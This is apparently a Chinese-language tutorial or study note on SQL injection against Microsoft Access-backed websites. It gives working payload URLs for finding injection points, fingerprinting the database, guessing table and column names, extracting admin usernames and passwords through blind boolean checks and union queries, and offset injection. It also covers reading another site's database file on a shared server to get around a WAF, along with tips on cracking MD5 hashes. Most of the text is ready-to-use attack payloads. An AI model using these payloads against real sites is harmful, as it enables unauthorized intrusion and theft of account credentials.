Access注入
Access、mssql、mongoDB、postgresql、sqlite、oracle、sybase等;
数据库架构组成、数据库高权限操作;
除了access以外,其他数据库在组成方面都是
access数据库与其他数据库不同,它就只有自己一个数据库,往下没有数据库;
access数据库独立存在,每个网站都有自己的accsess数据库,所以没办法使用跨库注入;
access也不需要查询数据库名;
access很多功能都没有,例如文件读取;
- access
- 表名
- 列名
- 数据
- 列名
- 表名
提问:什么决定了网站注入点用户权限
回答:当前网站的数据库用户,数据库的配置文件是谁连接的
找注入点并确定数据库类型
找注入点
' ● 返回错误
and 1=1 ●返回正常
and 1=2 ● 返回错误
# 满足以上条件即存在注入
判断iis后的数据库类型
and exists (select * from msysobjects)>0 ●返回正常,即可判断其为Access数据库
and exists (select * from sysobjects)>0 ●返回正常,即可判断其为MSSQL数据库
猜数据库名和字段
access数据库没有有效办法获取库表名,只能通过暴力破解的方式一个一个的尝试
猜解数据库表名
access数据库没有库名的概念,直接就是表
and exists(select * from 表名)
# 一个一个猜,猜中为止,例如:
http://XXX?id=1 and exists(select * from users)
http://XXX?id=1 and exists(select * from admin)
http://XXX?id=1 and exists(select * from administrator)
猜字段:
and exists(select 字段名 from 表名)
# 一个一个猜,猜中为止 例如:
http://XXX?id=1 and exists(select username from administrator)
http://XXX?id=1 and exists(select user_name from administrator)
http://XXX?id=1 and exists(select password from administrator)
爆破access中的数据
猜字段长度和数据(标准)
猜解字段长度
通过上述步骤可以知道,数据库表名是“administrator”,表中字段有“user_name”和“password”。
#用返回的对错猜测
and (select top 1 len(user_name) from administrator)>xx
#如以下报错,可确定字段数目为5
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>3 ●正常
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>4 ●正常
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>5 ●报错
猜解字段内容
and (select top 1 asc(mid(user_name,1,1)) from administrator)>xx
#先判断第一个字母,是汉字还是字母
## 返回正常页面说明ASCII值大于0 ,是字母
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
# 二分法确定acsii码,
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>50
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>75
# 最后根据确定下来的acsii码97,反查对应表得到第一个字母为a,在用同样的方法确定出来其他位字母
## 密码的话一般会做md5加密,记得用网站的解密工具尝试(简单的可以反解成功)
小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。
用联合查询方案注入(通用)
首先还是要先猜解出所需的表的表名和字段名,这个没有办法
再用order by语句排序,根据排序数量,可知当前页面可查询字段数,假设为7
再通过union查询数字,确定出页面可显示的字段(假设是第2和3字段)
最后通过union语句联合查询指定表(在可显示的字段替换为需要查询的表中的字段)
order by 7
and 1=2 union select 1,2,3,4,5,6,7 from admin
and 1=2 union select 1,user_name,passwoed,4,5,6,7 from admin
Access注入时,如果列名或表名猜解不到的情况怎么办?
偏移注入和跨库查询
偏移注入
偏移注入会随机爆出一个字段内容,具体是什么看运气
偏移注入只针对Access数据库,当我们只猜到数据库表名但猜不到列名的情况下,这种方法可以帮我们填补。
#第一步:使用之前的方法得到显示点为2,3,字段个数为7,但是我们并不知道列名
http://XXX?id=14 union select 1,2,3,4,5,6,7 from administrator
#第二步:用*依次向前替换数字字段,直到页面显示正常。例如在5替换为*后页面返回正常
http://XXX?id=14union select 1,2,3,4,* from administrator
#说明星号替换了3个字段(也就是表中有三个字段),后续要使用inner jion自表连接查询,因此计算字段数乘以2是否小于当前列(3*2<7)
#第三步:公式成立的话,用inner jion自连接查询
http://XXX?id=14 union select 1,* from (administrator as a inner join administrator as b on a.id=b.id)
#如果是更多位,可再接inner join
http://XXX?id=14 union select 1,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
跨库查询
假设a和b两个站点在同一服务器上面,但a服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。
这个时候我发现b站点有注入点。并且知道了“2和3”是注入点,可以通过跨库的方式,读取指定目录下access数据库的数据。
http://xxx?id=14 union select 1,adminpassword,username,4,5,6,7 from[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins
参考链接: